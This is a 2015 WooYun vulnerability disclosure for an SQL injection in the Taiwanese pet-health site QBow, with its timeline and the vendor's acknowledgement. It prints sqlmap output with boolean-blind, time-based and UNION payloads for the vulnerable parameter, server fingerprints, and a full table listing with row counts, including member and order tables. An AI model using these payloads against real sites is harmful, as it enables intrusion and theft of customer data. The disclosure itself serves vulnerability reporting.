当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2015-0162626

漏洞标题：QBow寵物健康網SQL注入/百万数据（臺灣地區）

相关厂商：QBow寵物健康網

漏洞作者： 路人甲

提交时间：2015-12-20 19:15

修复时间：2016-02-04 17:47

公开时间：2016-02-04 17:47

漏洞类型：SQL注射漏洞

危害等级：高

自评Rank：15

漏洞状态：已交由第三方合作机构(Hitcon台湾互联网漏洞报告平台)处理

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2015-12-20： 细节已通知厂商并且等待厂商处理中
2015-12-23： 厂商已经确认，细节仅向厂商公开
2016-01-02： 细节向核心白帽子及相关领域专家公开
2016-01-12： 细节向普通白帽子公开
2016-01-22： 细节向实习白帽子公开
2016-02-04： 细节向公众公开

简要描述：

RT

详细说明：

注入点：http://**.**.**.**/left-news2.php?no=29940

sqlmap resumed the following injection point(s) from stored session:
---
Parameter: no (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: no=29940' AND 3572=3572 AND 'QIYo'='QIYo
    Type: AND/OR time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (SELECT)
    Payload: no=29940' AND (SELECT * FROM (SELECT(SLEEP(5)))sDve) AND 'GBix'='GBix
    Type: UNION query
    Title: Generic UNION query (NULL) - 6 columns
    Payload: no=29940' UNION ALL SELECT NULL,NULL,CONCAT(0x717a707671,0x68666f424b4c7473656a,0x71786b7a71),NULL,NULL,NULL-- 
---
web server operating system: Linux Red Hat Enterprise 5 (Tikanga)
web application technology: Apache 2.2.3, PHP 5.2.17
back-end DBMS: MySQL 5.0.12
current database:    'qbow0706'
current user is DBA:    False
available databases [2]:
[*] information_schema
[*] qbow0706


数据量很大：

Database: qbow0706
+--------------------------+---------+
| Table                    | Entries |
+--------------------------+---------+
| sitecounterpage          | 779692  |
| sitecounter              | 732490  |
| sitecounter_person       | 196026  |
| blog_basicdata           | 169748  |
| sitecounterpage_person   | 110610  |
| product_discuss_100912   | 51237   |
| qarticle                 | 28462   |
| qordersub                | 26628   |
| event1123vote            | 22537   |
| qordermain               | 13715   |
| forum                    | 13096   |
| qorder_men_points        | 11598   |
| qorder_bank_point        | 10544   |
| qordermain_120716        | 8980    |
| qhotkeywordpeople        | 8020    |
| qmember                  | 7961    |
| qordermain_new           | 6135    |
| epaper                   | 4946    |
| qmember_new              | 4831    |
| qorder_after_service     | 4324    |
| qhotkeyworduser          | 3758    |
| contactus                | 2525    |
| edm_sendlist             | 1627    |
| event0305vote            | 1086    |
| product_pro              | 945     |
| event1123                | 664     |
| qmempet                  | 599     |
| knowledge                | 558     |
| adminmanagermenu         | 501     |
| product_premium          | 421     |
| product_ab               | 382     |
| address_state            | 371     |
| address_state_new        | 368     |
| address_state_120716     | 367     |
| product                  | 323     |
| product_article          | 287     |
| event090302_demand       | 207     |
| banner                   | 158     |
| adminmenu                | 137     |
| knowledgeb               | 116     |
| banner_person            | 101     |
| edm                      | 95      |
| nclass                   | 95      |
| blog_basicpersonimg      | 87      |
| qstore_person            | 87      |
| qadvertisement           | 80      |
| epaperconent             | 79      |
| qlink                    | 74      |
| event0305                | 62      |
| knowledgea               | 56      |
| epaper_person            | 54      |
| qckmess                  | 47      |
| event090302              | 45      |
| blog_article             | 38      |
| prob                     | 38      |
| idexm                    | 37      |
| blog_basicperson         | 27      |
| address_city             | 23      |
| address_city_120716      | 22      |
| address_city_new         | 22      |
| blog_articlereply        | 19      |
| qhotkeyword              | 18      |
| foruma                   | 17      |
| proc                     | 15      |
| about                    | 13      |
| qdocarticle              | 13      |
| qstore                   | 13      |
| blog_board               | 12      |
| video                    | 10      |
| admingroup               | 6       |
| adminmanager             | 5       |
| content                  | 5       |
| billboard                | 4       |
| edm_template             | 4       |
| qcase                    | 4       |
| proa                     | 3       |
| blog_idexm               | 2       |
| qdoctor                  | 2       |
| banner_blog              | 1       |
| blog_articleadminreply   | 1       |
| qorder_after_service_log | 1       |
| sitecountervjian         | 1       |
| sitecountervjian_person  | 1       |
+--------------------------+---------+


qmember会员数量也不少，7961个，订单数也上网了

漏洞证明：

修复方案：

版权声明：转载请注明来源 路人甲@乌云

漏洞回应

厂商回应：

危害等级：高

漏洞Rank：17

确认时间：2015-12-23 04:11

厂商回复：

感謝通報

最新状态：

暂无

漏洞评价：

评价